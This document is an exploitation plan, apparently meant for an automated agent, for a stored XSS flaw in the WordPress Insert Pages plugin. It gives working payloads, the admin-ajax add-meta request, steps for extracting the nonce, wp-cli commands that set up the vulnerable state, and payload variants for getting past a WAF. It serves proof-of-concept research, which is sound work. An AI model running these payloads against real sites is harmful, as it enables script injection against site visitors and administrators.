Exploitation Research Plan: CVE-2026-10089

1. Vulnerability Summary

CVE-2026-10089 is a Stored Cross-Site Scripting (XSS) vulnerability in the Insert Pages plugin (<= 3.11.4). The vulnerability exists in the plugin's custom implementation of meta-data rendering (likely a function named the_meta()). While the plugin sanitizes custom field values using wp_kses_post(), it fails to escape the custom field key (the name of the meta entry). An authenticated attacker with Author-level permissions can create a post with a malicious meta key. When this post is embedded into another page using the [insert display='all'] shortcode, the script executes in the context of any user viewing the page.

2. Attack Vector Analysis

• Authentication Level: Author or higher (Users who can create posts and manage custom fields).
• Vulnerable Endpoint: Frontend pages where the [insert] shortcode is rendered.
• Injection Point: Post Custom Field Keys (Meta Keys).
• Payload Parameter: metakeyinput or metakeyselect (during post creation/edit).
• Trigger: The shortcode [insert page='{ID}' display='all']. The display='all' attribute is the critical trigger that forces the plugin to iterate through and display meta keys.

3. Code Flow

1. Entry Point: insert_pages_handle_shortcode_insert() (shortcode handler) is invoked when WordPress parses [insert].
2. Parameter Processing: The handler extracts the display attribute.
3. Conditional Branch: If display === 'all', the plugin logic proceeds to render all post components, including custom fields.
4. Vulnerable Sink: The plugin calls a helper function (identified in the description as the_meta() around lines 1786-1806 in insert-pages.php).
5. Iteration: The code iterates through the results of get_post_custom_keys($post_id).
6. Rendering (Line 1806): The variable $key is echoed directly into the HTML buffer without using esc_html() or esc_attr(), whereas the $value is correctly passed through wp_kses_post().

4. Nonce Acquisition Strategy

To inject the payload, the attacker must add a custom field to a post. In WordPress, this usually requires an admin-ajax nonce for the add-meta action.

1. Identify Shortcode: The plugin's primary shortcode is [insert].
2. Create Setup Page:

   wp post create --post_type=page --post_status=publish --post_title="XSS Trigger" --post_content='[insert page="SOURCE_ID" display="all"]'
   

3. Obtain Injection Nonce:
   To inject via HTTP (simulating the UI), the agent should:
   • Login as an Author.
   • Navigate to wp-admin/post-new.php.
   • Extract the _ajax_nonce-add-meta from the page source using browser_eval.
   • browser_eval("document.getElementById('_ajax_nonce-add-meta')?.value")

Note: If the agent has Author credentials, the most direct path for the PoC is to use the admin-ajax.php endpoint with the add-meta action.

5. Exploitation Strategy

Step 1: Inject Stored XSS

The attacker (Author) adds a custom field where the Name is the payload.

• Endpoint: http://<target>/wp-admin/admin-ajax.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Parameters:
  • action: add-meta
  • _ajax_nonce-add-meta: (Obtained from Step 4)
  • post_id: {SOURCE_POST_ID}
  • metakeyinput: <img src=x onerror=alert(document.domain)>
  • metavalue: SafeValue

Step 2: Trigger XSS

Create or edit a second post (the "Trigger Page") containing the shortcode pointing to the "Source Post".

• Shortcode: [insert page='{SOURCE_POST_ID}' display='all']

Step 3: Execution

Navigate to the "Trigger Page" URL as an unauthenticated user or an administrator.

6. Test Data Setup

1. Attacker User: Create a user with the author role.
2. Source Post: Create a post (ID: X) as the Author.
3. Trigger Page: Create a public page (ID: Y) containing [insert page='X' display='all'].
4. Custom Field: Use wp-cli to quickly set up the vulnerable state if the HTTP injection is blocked by environment firewalls:

   wp post meta add {X} "<img src=x onerror=alert(document.domain)>" "vulnerable"
   

7. Expected Results

• When viewing the "Trigger Page", the browser should attempt to render an image with a broken source (x).
• The onerror event handler will execute the JavaScript.
• An alert box showing the document domain will appear.
• In the HTML source, the meta list will look like:
  <li><span class='post-meta-key'><img src=x onerror=alert(document.domain)></span> ...</li>

8. Verification Steps

1. Verify Database State:

   wp db query "SELECT meta_key FROM wp_postmeta WHERE post_id={SOURCE_ID} AND meta_value='vulnerable';"
   

2. Check Page Output:
   Use the http_request tool to fetch the Trigger Page and grep for the raw payload:

   # The payload should appear UNESCAPED
   grep "<img src=x onerror=alert(document.domain)>" 
   

9. Alternative Approaches

• SVG Payload: If the site has a WAF blocking <img> tags, try a meta key containing a small SVG:
  • metakeyinput: <svg/onload=alert(1)>
• Attribute Breakout: If the key is reflected inside an attribute (though the description says it is interpolated in HTML), try:
  • metakeyinput: "><script>alert(1)</script>
• REST API: Authors can often add meta via the REST API if the meta key is registered as "show_in_rest". However, for arbitrary "Custom Fields", the admin-ajax.php add-meta action is the most reliable vector.